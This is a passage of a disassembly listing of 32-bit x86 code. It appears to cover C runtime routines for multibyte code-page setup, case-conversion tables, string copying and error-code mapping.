cmp [ebp+arg_0], 0
jnz short loc_421B4C
call sub_421F20
call sub_421FA0
push 19h
call sub_41BD20
add esp, 4
xor eax, eax
jmp loc_421E30
; ---------------------------------------------------------------------------
loc_421B4C: ; CODE XREF: sub_421AF0+3Fj
mov [ebp+var_4], 0
jmp short loc_421B5E
; ---------------------------------------------------------------------------
loc_421B55: ; CODE XREF: sub_421AF0:loc_421CAAj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_421B5E: ; CODE XREF: sub_421AF0+63j
cmp [ebp+var_4], 5
jnb loc_421CAF
mov eax, [ebp+var_4]
imul eax, 30h
mov ecx, dword_4474A8[eax]
cmp ecx, [ebp+arg_0]
jnz loc_421CAA
mov [ebp+var_24], 0
jmp short loc_421B8F
; ---------------------------------------------------------------------------
loc_421B86: ; CODE XREF: sub_421AF0+B2j
mov edx, [ebp+var_24]
add edx, 1
mov [ebp+var_24], edx
loc_421B8F: ; CODE XREF: sub_421AF0+94j
cmp [ebp+var_24], 101h
jnb short loc_421BA4
mov eax, [ebp+var_24]
mov byte_4DE540[eax], 0
jmp short loc_421B86
; ---------------------------------------------------------------------------
loc_421BA4: ; CODE XREF: sub_421AF0+A6j
mov [ebp+var_C], 0
jmp short loc_421BB6
; ---------------------------------------------------------------------------
loc_421BAD: ; CODE XREF: sub_421AF0:loc_421C32j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_421BB6: ; CODE XREF: sub_421AF0+BBj
cmp [ebp+var_C], 4
jnb short loc_421C37
mov edx, [ebp+var_4]
imul edx, 30h
mov eax, [ebp+var_C]
lea ecx, dword_4474B8[edx+eax*8]
mov [ebp+var_8], ecx
jmp short loc_421BDA
; ---------------------------------------------------------------------------
loc_421BD1: ; CODE XREF: sub_421AF0:loc_421C30j
mov edx, [ebp+var_8]
add edx, 2
mov [ebp+var_8], edx
loc_421BDA: ; CODE XREF: sub_421AF0+DFj
mov eax, [ebp+var_8]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_421C32
mov edx, [ebp+var_8]
xor eax, eax
mov al, [edx+1]
test eax, eax
jz short loc_421C32
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx]
mov [ebp+var_24], edx
jmp short loc_421C06
; ---------------------------------------------------------------------------
loc_421BFD: ; CODE XREF: sub_421AF0+13Ej
mov eax, [ebp+var_24]
add eax, 1
mov [ebp+var_24], eax
loc_421C06: ; CODE XREF: sub_421AF0+10Bj
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx+1]
cmp [ebp+var_24], edx
ja short loc_421C30
mov eax, [ebp+var_24]
mov ecx, [ebp+var_C]
mov dl, byte_4DE541[eax]
or dl, byte_4474A0[ecx]
mov eax, [ebp+var_24]
mov byte_4DE541[eax], dl
jmp short loc_421BFD
; ---------------------------------------------------------------------------
loc_421C30: ; CODE XREF: sub_421AF0+121j
jmp short loc_421BD1
; ---------------------------------------------------------------------------
loc_421C32: ; CODE XREF: sub_421AF0+F3j
; sub_421AF0+FFj
jmp loc_421BAD
; ---------------------------------------------------------------------------
loc_421C37: ; CODE XREF: sub_421AF0+CAj
mov ecx, [ebp+arg_0]
mov dword_4DE42C, ecx
mov dword_4DE43C, 1
mov edx, dword_4DE42C
push edx
call sub_421EA0
add esp, 4
mov dword_4DE644, eax
mov [ebp+var_C], 0
jmp short loc_421C70
; ---------------------------------------------------------------------------
loc_421C67: ; CODE XREF: sub_421AF0+1A2j
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_421C70: ; CODE XREF: sub_421AF0+175j
cmp [ebp+var_C], 6
jnb short loc_421C94
mov ecx, [ebp+var_4]
imul ecx, 30h
mov edx, [ebp+var_C]
mov eax, [ebp+var_C]
mov cx, word_4474AC[ecx+eax*2]
mov word_4DE430[edx*2], cx
jmp short loc_421C67
; ---------------------------------------------------------------------------
loc_421C94: ; CODE XREF: sub_421AF0+184j
call sub_421FA0
push 19h
call sub_41BD20
add esp, 4
xor eax, eax
jmp loc_421E30
; ---------------------------------------------------------------------------
loc_421CAA: ; CODE XREF: sub_421AF0+87j
jmp loc_421B55
; ---------------------------------------------------------------------------
loc_421CAF: ; CODE XREF: sub_421AF0+72j
lea edx, [ebp+var_20]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4E04B4 ; GetCPInfo
cmp eax, 1
jnz loc_421E02
mov [ebp+var_24], 0
jmp short loc_421CD8
; ---------------------------------------------------------------------------
loc_421CCF: ; CODE XREF: sub_421AF0+1FBj
mov ecx, [ebp+var_24]
add ecx, 1
mov [ebp+var_24], ecx
loc_421CD8: ; CODE XREF: sub_421AF0+1DDj
cmp [ebp+var_24], 101h
jnb short loc_421CED
mov edx, [ebp+var_24]
mov byte_4DE540[edx], 0
jmp short loc_421CCF
; ---------------------------------------------------------------------------
loc_421CED: ; CODE XREF: sub_421AF0+1EFj
mov eax, [ebp+arg_0]
mov dword_4DE42C, eax
mov dword_4DE644, 0
cmp [ebp+var_20], 1
jbe loc_421DBE
lea ecx, [ebp+var_1A]
mov [ebp+var_28], ecx
jmp short loc_421D1A
; ---------------------------------------------------------------------------
loc_421D11: ; CODE XREF: sub_421AF0:loc_421D6Aj
mov edx, [ebp+var_28]
add edx, 2
mov [ebp+var_28], edx
loc_421D1A: ; CODE XREF: sub_421AF0+21Fj
mov eax, [ebp+var_28]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_421D6C
mov edx, [ebp+var_28]
xor eax, eax
mov al, [edx+1]
test eax, eax
jz short loc_421D6C
mov ecx, [ebp+var_28]
xor edx, edx
mov dl, [ecx]
mov [ebp+var_24], edx
jmp short loc_421D46
; ---------------------------------------------------------------------------
loc_421D3D: ; CODE XREF: sub_421AF0+278j
mov eax, [ebp+var_24]
add eax, 1
mov [ebp+var_24], eax
loc_421D46: ; CODE XREF: sub_421AF0+24Bj
mov ecx, [ebp+var_28]
xor edx, edx
mov dl, [ecx+1]
cmp [ebp+var_24], edx
ja short loc_421D6A
mov eax, [ebp+var_24]
mov cl, byte_4DE541[eax]
or cl, 4
mov edx, [ebp+var_24]
mov byte_4DE541[edx], cl
jmp short loc_421D3D
; ---------------------------------------------------------------------------
loc_421D6A: ; CODE XREF: sub_421AF0+261j
jmp short loc_421D11
; ---------------------------------------------------------------------------
loc_421D6C: ; CODE XREF: sub_421AF0+233j
; sub_421AF0+23Fj
mov [ebp+var_24], 1
jmp short loc_421D7E
; ---------------------------------------------------------------------------
loc_421D75: ; CODE XREF: sub_421AF0+2ACj
mov eax, [ebp+var_24]
add eax, 1
mov [ebp+var_24], eax
loc_421D7E: ; CODE XREF: sub_421AF0+283j
cmp [ebp+var_24], 0FFh
jnb short loc_421D9E
mov ecx, [ebp+var_24]
mov dl, byte_4DE541[ecx]
or dl, 8
mov eax, [ebp+var_24]
mov byte_4DE541[eax], dl
jmp short loc_421D75
; ---------------------------------------------------------------------------
loc_421D9E: ; CODE XREF: sub_421AF0+295j
mov ecx, dword_4DE42C
push ecx
call sub_421EA0
add esp, 4
mov dword_4DE644, eax
mov dword_4DE43C, 1
jmp short loc_421DC8
; ---------------------------------------------------------------------------
loc_421DBE: ; CODE XREF: sub_421AF0+213j
mov dword_4DE43C, 0
loc_421DC8: ; CODE XREF: sub_421AF0+2CCj
mov [ebp+var_C], 0
jmp short loc_421DDA
; ---------------------------------------------------------------------------
loc_421DD1: ; CODE XREF: sub_421AF0+2FDj
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_421DDA: ; CODE XREF: sub_421AF0+2DFj
cmp [ebp+var_C], 6
jnb short loc_421DEF
mov eax, [ebp+var_C]
mov word_4DE430[eax*2], 0
jmp short loc_421DD1
; ---------------------------------------------------------------------------
loc_421DEF: ; CODE XREF: sub_421AF0+2EEj
call sub_421FA0
push 19h
call sub_41BD20
add esp, 4
xor eax, eax
jmp short loc_421E30
; ---------------------------------------------------------------------------
loc_421E02: ; CODE XREF: sub_421AF0+1D0j
cmp dword_4DE054, 0
jz short loc_421E23
call sub_421F20
call sub_421FA0
push 19h
call sub_41BD20
add esp, 4
xor eax, eax
jmp short loc_421E30
; ---------------------------------------------------------------------------
loc_421E23: ; CODE XREF: sub_421AF0+319j
push 19h
call sub_41BD20
add esp, 4
or eax, 0FFFFFFFFh
loc_421E30: ; CODE XREF: sub_421AF0+36j
; sub_421AF0+57j ...
mov esp, ebp
pop ebp
retn
sub_421AF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421E40 proc near ; CODE XREF: sub_421AF0+14p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov dword_4DE054, 0
cmp [ebp+arg_0], 0FFFFFFFEh
jnz short loc_421E65
mov dword_4DE054, 1
call dword_4E04BC ; GetOEMCP
jmp short loc_421E97
; ---------------------------------------------------------------------------
loc_421E65: ; CODE XREF: sub_421E40+11j
cmp [ebp+arg_0], 0FFFFFFFDh
jnz short loc_421E7D
mov dword_4DE054, 1
call dword_4E04B8 ; GetACP
jmp short loc_421E97
; ---------------------------------------------------------------------------
loc_421E7D: ; CODE XREF: sub_421E40+29j
cmp [ebp+arg_0], 0FFFFFFFCh
jnz short loc_421E94
mov dword_4DE054, 1
mov eax, dword_4DE084
jmp short loc_421E97
; ---------------------------------------------------------------------------
loc_421E94: ; CODE XREF: sub_421E40+41j
mov eax, [ebp+arg_0]
loc_421E97: ; CODE XREF: sub_421E40+23j
; sub_421E40+3Bj ...
pop ebp
retn
sub_421E40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421EA0 proc near ; CODE XREF: sub_421AF0+161p
; sub_421AF0+2B5p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
sub ecx, 3A4h
mov [ebp+var_4], ecx
cmp [ebp+var_4], 12h
ja short loc_421EEA
mov eax, [ebp+var_4]
xor edx, edx
mov dl, byte_421F04[eax]
jmp off_421EF0[edx*4]
loc_421ECE: ; DATA XREF: .data:off_421EF0o
mov eax, 411h
jmp short loc_421EEC
; ---------------------------------------------------------------------------
loc_421ED5: ; CODE XREF: sub_421EA0+27j
; DATA XREF: .data:00421EF4o
mov eax, 804h
jmp short loc_421EEC
; ---------------------------------------------------------------------------
loc_421EDC: ; CODE XREF: sub_421EA0+27j
; DATA XREF: .data:00421EF8o
mov eax, 412h
jmp short loc_421EEC
; ---------------------------------------------------------------------------
loc_421EE3: ; CODE XREF: sub_421EA0+27j
; DATA XREF: .data:00421EFCo
mov eax, 404h
jmp short loc_421EEC
; ---------------------------------------------------------------------------
loc_421EEA: ; CODE XREF: sub_421EA0+1Aj
; sub_421EA0+27j
; DATA XREF: ...
xor eax, eax
loc_421EEC: ; CODE XREF: sub_421EA0+33j
; sub_421EA0+3Aj ...
mov esp, ebp
pop ebp
retn
sub_421EA0 endp
; ---------------------------------------------------------------------------
off_421EF0 dd offset loc_421ECE ; DATA XREF: sub_421EA0+27r
dd offset loc_421ED5
dd offset loc_421EDC
dd offset loc_421EE3
dd offset loc_421EEA
byte_421F04 db 0 ; DATA XREF: sub_421EA0+21r
db 3 dup(4)
dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F20 proc near ; CODE XREF: sub_421AF0+41p
; sub_421AF0+31Bp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_421F36
; ---------------------------------------------------------------------------
loc_421F2D: ; CODE XREF: sub_421F20+29j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_421F36: ; CODE XREF: sub_421F20+Bj
cmp [ebp+var_4], 101h
jge short loc_421F4B
mov ecx, [ebp+var_4]
mov byte_4DE540[ecx], 0
jmp short loc_421F2D
; ---------------------------------------------------------------------------
loc_421F4B: ; CODE XREF: sub_421F20+1Dj
mov dword_4DE42C, 0
mov dword_4DE43C, 0
mov dword_4DE644, 0
mov [ebp+var_4], 0
jmp short loc_421F7B
; ---------------------------------------------------------------------------
loc_421F72: ; CODE XREF: sub_421F20+6Ej
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_421F7B: ; CODE XREF: sub_421F20+50j
cmp [ebp+var_4], 6
jge short loc_421F90
mov eax, [ebp+var_4]
mov word_4DE430[eax*2], 0
jmp short loc_421F72
; ---------------------------------------------------------------------------
loc_421F90: ; CODE XREF: sub_421F20+5Fj
mov esp, ebp
pop ebp
retn
sub_421F20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421FA0 proc near ; CODE XREF: sub_421AF0+46p
; sub_421AF0:loc_421C94p ...
var_51C = dword ptr -51Ch
var_518 = byte ptr -518h
var_418 = byte ptr -418h
var_318 = byte ptr -318h
var_312 = byte ptr -312h
var_304 = byte ptr -304h
var_204 = word ptr -204h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 51Ch
lea eax, [ebp+var_318]
push eax
mov ecx, dword_4DE42C
push ecx
call dword_4E04B4 ; GetCPInfo
cmp eax, 1
jnz loc_4221D9
mov [ebp+var_51C], 0
jmp short loc_421FE1
; ---------------------------------------------------------------------------
loc_421FD2: ; CODE XREF: sub_421FA0+60j
mov edx, [ebp+var_51C]
add edx, 1
mov [ebp+var_51C], edx
loc_421FE1: ; CODE XREF: sub_421FA0+30j
cmp [ebp+var_51C], 100h
jnb short loc_422002
mov eax, [ebp+var_51C]
mov cl, byte ptr [ebp+var_51C]
mov [ebp+eax+var_304], cl
jmp short loc_421FD2
; ---------------------------------------------------------------------------
loc_422002: ; CODE XREF: sub_421FA0+4Bj
mov [ebp+var_304], 20h
lea edx, [ebp+var_312]
mov [ebp+var_4], edx
jmp short loc_42201D
; ---------------------------------------------------------------------------
loc_422014: ; CODE XREF: sub_421FA0:loc_422066j
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
loc_42201D: ; CODE XREF: sub_421FA0+72j
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_422068
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_51C], ecx
jmp short loc_422046
; ---------------------------------------------------------------------------
loc_422037: ; CODE XREF: sub_421FA0+C4j
mov edx, [ebp+var_51C]
add edx, 1
mov [ebp+var_51C], edx
loc_422046: ; CODE XREF: sub_421FA0+95j
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax+1]
cmp [ebp+var_51C], ecx
ja short loc_422066
mov edx, [ebp+var_51C]
mov [ebp+edx+var_304], 20h
jmp short loc_422037
; ---------------------------------------------------------------------------
loc_422066: ; CODE XREF: sub_421FA0+B4j
jmp short loc_422014
; ---------------------------------------------------------------------------
loc_422068: ; CODE XREF: sub_421FA0+86j
push 0
mov eax, dword_4DE644
push eax
mov ecx, dword_4DE42C
push ecx
lea edx, [ebp+var_204]
push edx
push 100h
lea eax, [ebp+var_304]
push eax
push 1
call sub_429B60
add esp, 1Ch
push 0
mov ecx, dword_4DE42C
push ecx
push 100h
lea edx, [ebp+var_418]
push edx
push 100h
lea eax, [ebp+var_304]
push eax
push 100h
mov ecx, dword_4DE644
push ecx
call sub_4275A0
add esp, 20h
push 0
mov edx, dword_4DE42C
push edx
push 100h
lea eax, [ebp+var_518]
push eax
push 100h
lea ecx, [ebp+var_304]
push ecx
push 200h
mov edx, dword_4DE644
push edx
call sub_4275A0
add esp, 20h
mov [ebp+var_51C], 0
jmp short loc_422119
; ---------------------------------------------------------------------------
loc_42210A: ; CODE XREF: sub_421FA0:loc_4221CFj
mov eax, [ebp+var_51C]
add eax, 1
mov [ebp+var_51C], eax
loc_422119: ; CODE XREF: sub_421FA0+168j
cmp [ebp+var_51C], 100h
jnb loc_4221D4
mov ecx, [ebp+var_51C]
xor edx, edx
mov dx, [ebp+ecx*2+var_204]
and edx, 1
test edx, edx
jz short loc_422176
mov eax, [ebp+var_51C]
mov cl, byte_4DE541[eax]
or cl, 10h
mov edx, [ebp+var_51C]
mov byte_4DE541[edx], cl
mov eax, [ebp+var_51C]
mov ecx, [ebp+var_51C]
mov dl, [ebp+ecx+var_418]
mov byte_4DE440[eax], dl
jmp short loc_4221CF
; ---------------------------------------------------------------------------
loc_422176: ; CODE XREF: sub_421FA0+19Ej
mov eax, [ebp+var_51C]
xor ecx, ecx
mov cx, [ebp+eax*2+var_204]
and ecx, 2
test ecx, ecx
jz short loc_4221C2
mov edx, [ebp+var_51C]
mov al, byte_4DE541[edx]
or al, 20h
mov ecx, [ebp+var_51C]
mov byte_4DE541[ecx], al
mov edx, [ebp+var_51C]
mov eax, [ebp+var_51C]
mov cl, [ebp+eax+var_518]
mov byte_4DE440[edx], cl
jmp short loc_4221CF
; ---------------------------------------------------------------------------
loc_4221C2: ; CODE XREF: sub_421FA0+1EBj
mov edx, [ebp+var_51C]
mov byte_4DE440[edx], 0
loc_4221CF: ; CODE XREF: sub_421FA0+1D4j
; sub_421FA0+220j
jmp loc_42210A
; ---------------------------------------------------------------------------
loc_4221D4: ; CODE XREF: sub_421FA0+183j
jmp loc_42229E
; ---------------------------------------------------------------------------
loc_4221D9: ; CODE XREF: sub_421FA0+20j
mov [ebp+var_51C], 0
jmp short loc_4221F4
; ---------------------------------------------------------------------------
loc_4221E5: ; CODE XREF: sub_421FA0:loc_422299j
mov eax, [ebp+var_51C]
add eax, 1
mov [ebp+var_51C], eax
loc_4221F4: ; CODE XREF: sub_421FA0+243j
cmp [ebp+var_51C], 100h
jnb loc_42229E
cmp [ebp+var_51C], 41h
jb short loc_422248
cmp [ebp+var_51C], 5Ah
ja short loc_422248
mov ecx, [ebp+var_51C]
mov dl, byte_4DE541[ecx]
or dl, 10h
mov eax, [ebp+var_51C]
mov byte_4DE541[eax], dl
mov ecx, [ebp+var_51C]
add ecx, 20h
mov edx, [ebp+var_51C]
mov byte_4DE440[edx], cl
jmp short loc_422299
; ---------------------------------------------------------------------------
loc_422248: ; CODE XREF: sub_421FA0+26Bj
; sub_421FA0+274j
cmp [ebp+var_51C], 61h
jb short loc_42228C
cmp [ebp+var_51C], 7Ah
ja short loc_42228C
mov eax, [ebp+var_51C]
mov cl, byte_4DE541[eax]
or cl, 20h
mov edx, [ebp+var_51C]
mov byte_4DE541[edx], cl
mov eax, [ebp+var_51C]
sub eax, 20h
mov ecx, [ebp+var_51C]
mov byte_4DE440[ecx], al
jmp short loc_422299
; ---------------------------------------------------------------------------
loc_42228C: ; CODE XREF: sub_421FA0+2AFj
; sub_421FA0+2B8j
mov edx, [ebp+var_51C]
mov byte_4DE440[edx], 0
loc_422299: ; CODE XREF: sub_421FA0+2A6j
; sub_421FA0+2EAj
jmp loc_4221E5
; ---------------------------------------------------------------------------
loc_42229E: ; CODE XREF: sub_421FA0:loc_4221D4j
; sub_421FA0+25Ej
mov esp, ebp
pop ebp
retn
sub_421FA0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword_4DE43C, 0
jz short loc_4222C3
mov eax, dword_4DE42C
jmp short loc_4222C5
; ---------------------------------------------------------------------------
loc_4222C3: ; CODE XREF: .data:004222BAj
xor eax, eax
loc_4222C5: ; CODE XREF: .data:004222C1j
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4222D0 proc near ; CODE XREF: sub_427B20+Dp
; sub_427BE0+Fp ...
push ebp
mov ebp, esp
cmp dword_4DF68C, 0
jnz short loc_4222F0
push 0FFFFFFFDh
call sub_421AF0
add esp, 4
mov dword_4DF68C, 1
loc_4222F0: ; CODE XREF: sub_4222D0+Aj
pop ebp
retn
sub_4222D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422300 proc near ; CODE XREF: sub_417F80+41p
; sub_417F80+11Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
cmp dword_4DE43C, 0
jnz short loc_42232C
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_417760
add esp, 0Ch
jmp loc_422421
; ---------------------------------------------------------------------------
loc_42232C: ; CODE XREF: sub_422300+11j
push 19h
call sub_41BC80
add esp, 4
loc_422336: ; CODE XREF: sub_422300:loc_4223EEj
cmp [ebp+arg_8], 0
jz loc_4223F3
mov ecx, [ebp+arg_8]
sub ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
xor ecx, ecx
mov cl, byte_4DE541[eax]
and ecx, 4
test ecx, ecx
jz short loc_4223C5
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
cmp [ebp+arg_8], 0
jnz short loc_42238A
mov ecx, [ebp+arg_0]
mov byte ptr [ecx-1], 0
jmp short loc_4223F3
; ---------------------------------------------------------------------------
loc_42238A: ; CODE XREF: sub_422300+7Fj
mov edx, [ebp+arg_8]
sub edx, 1
mov [ebp+arg_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
test ecx, ecx
jnz short loc_4223C3
mov ecx, [ebp+arg_0]
mov byte ptr [ecx-2], 0
jmp short loc_4223F3
; ---------------------------------------------------------------------------
loc_4223C3: ; CODE XREF: sub_422300+B8j
jmp short loc_4223EE
; ---------------------------------------------------------------------------
loc_4223C5: ; CODE XREF: sub_422300+5Dj
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
test eax, eax
jnz short loc_4223EE
jmp short loc_4223F3
; ---------------------------------------------------------------------------
loc_4223EE: ; CODE XREF: sub_422300:loc_4223C3j
; sub_422300+EAj
jmp loc_422336
; ---------------------------------------------------------------------------
loc_4223F3: ; CODE XREF: sub_422300+3Aj
; sub_422300+88j ...
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_8]
sub ecx, 1
mov [ebp+arg_8], ecx
test eax, eax
jz short loc_422414
mov edx, [ebp+arg_0]
mov byte ptr [edx], 0
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_4223F3
; ---------------------------------------------------------------------------
loc_422414: ; CODE XREF: sub_422300+101j
push 19h
call sub_41BD20
add esp, 4
mov eax, [ebp+var_4]
loc_422421: ; CODE XREF: sub_422300+27j
mov esp, ebp
pop ebp
retn
sub_422300 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422430 proc near ; CODE XREF: sub_418580+2Ep
; sub_41A3D0+1Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
call sub_4224E0
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov [ebp+var_4], 0
jmp short loc_422450
; ---------------------------------------------------------------------------
loc_422447: ; CODE XREF: sub_422430:loc_422478j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_422450: ; CODE XREF: sub_422430+15j
cmp [ebp+var_4], 2Dh
jnb short loc_42247A
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
cmp ecx, dword_447598[eax*8]
jnz short loc_422478
call sub_4224D0
mov edx, [ebp+var_4]
mov ecx, dword_44759C[edx*8]
mov [eax], ecx
jmp short loc_4224BD
; ---------------------------------------------------------------------------
loc_422478: ; CODE XREF: sub_422430+33j
jmp short loc_422447
; ---------------------------------------------------------------------------
loc_42247A: ; CODE XREF: sub_422430+24j
cmp [ebp+arg_0], 13h
jb short loc_422493
cmp [ebp+arg_0], 24h
ja short loc_422493
call sub_4224D0
mov dword ptr [eax], 0Dh
jmp short loc_4224BD
; ---------------------------------------------------------------------------
loc_422493: ; CODE XREF: sub_422430+4Ej
; sub_422430+54j
cmp [ebp+arg_0], 0BCh
jb short loc_4224B2
cmp [ebp+arg_0], 0CAh
ja short loc_4224B2
call sub_4224D0
mov dword ptr [eax], 8
jmp short loc_4224BD
; ---------------------------------------------------------------------------
loc_4224B2: ; CODE XREF: sub_422430+6Aj
; sub_422430+73j
call sub_4224D0
mov dword ptr [eax], 16h
loc_4224BD: ; CODE XREF: sub_422430+46j
; sub_422430+61j ...
mov esp, ebp
pop ebp
retn
sub_422430 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4224D0 proc near ; CODE XREF: sub_418220:loc_4184F2p
; sub_41A040:loc_41A09Bp ...
push ebp
mov ebp, esp
call sub_421920
add eax, 8
pop ebp
retn
sub_4224D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4224E0 proc near ; CODE XREF: sub_41A3D0+4Ap
; sub_41B6B0+3Cp ...
push ebp
mov ebp, esp
call sub_421920
add eax, 0Ch
pop ebp
retn
sub_4224E0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
sub eax, 20h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422500 proc near ; CODE XREF: sub_418220+201p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DE074, 0
jnz short loc_422527
cmp [ebp+arg_0], 61h
jl short loc_422522
cmp [ebp+arg_0], 7Ah
jg short loc_422522
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+arg_0], eax
loc_422522: ; CODE XREF: sub_422500+11j
; sub_422500+17j
mov eax, [ebp+arg_0]
jmp short loc_42258F
; ---------------------------------------------------------------------------
loc_422527: ; CODE XREF: sub_422500+Bj
push offset dword_4DE428
call dword_4E0454 ; InterlockedIncrement
cmp dword_4DE424, 0
jz short loc_422559
push offset dword_4DE428
call dword_4E0450 ; InterlockedDecrement
push 13h
call sub_41BC80
add esp, 4
mov [ebp+var_4], 1
jmp short loc_422560
; ---------------------------------------------------------------------------
loc_422559: ; CODE XREF: sub_422500+39j
mov [ebp+var_4], 0
loc_422560: ; CODE XREF: sub_422500+57j
mov ecx, [ebp+arg_0]
push ecx
call sub_4225A0
add esp, 4
mov [ebp+arg_0], eax
cmp [ebp+var_4], 0
jz short loc_422581
push 13h
call sub_41BD20
add esp, 4
jmp short loc_42258C
; ---------------------------------------------------------------------------
loc_422581: ; CODE XREF: sub_422500+73j
push offset dword_4DE428
call dword_4E0450 ; InterlockedDecrement
loc_42258C: ; CODE XREF: sub_422500+7Fj
mov eax, [ebp+arg_0]
loc_42258F: ; CODE XREF: sub_422500+25j
mov esp, ebp
pop ebp
retn
sub_422500 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4225A0 proc near ; CODE XREF: sub_422500+64p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
cmp dword_4DE074, 0
jnz short loc_4225CC
cmp [ebp+arg_0], 61h
jl short loc_4225C4
cmp [ebp+arg_0], 7Ah
jg short loc_4225C4
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+arg_0], eax
loc_4225C4: ; CODE XREF: sub_4225A0+13j
; sub_4225A0+19j
mov eax, [ebp+arg_0]
jmp loc_4226C7
; ---------------------------------------------------------------------------
loc_4225CC: ; CODE XREF: sub_4225A0+Dj
cmp [ebp+arg_0], 100h
jge short loc_422613
cmp dword_447480, 1
jle short loc_4225F1
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_41FA40
add esp, 8
mov [ebp+var_10], eax
jmp short loc_422605
; ---------------------------------------------------------------------------
loc_4225F1: ; CODE XREF: sub_4225A0+3Cj
mov edx, [ebp+arg_0]
mov eax, off_447274
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 2
mov [ebp+var_10], ecx
loc_422605: ; CODE XREF: sub_4225A0+4Fj
cmp [ebp+var_10], 0
jnz short loc_422613
mov eax, [ebp+arg_0]
jmp loc_4226C7
; ---------------------------------------------------------------------------
loc_422613: ; CODE XREF: sub_4225A0+33j
; sub_4225A0+69j
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
and edx, 0FFh
mov eax, off_447274
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_42265C
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
mov [ebp+var_8], dl
mov al, byte ptr [ebp+arg_0]
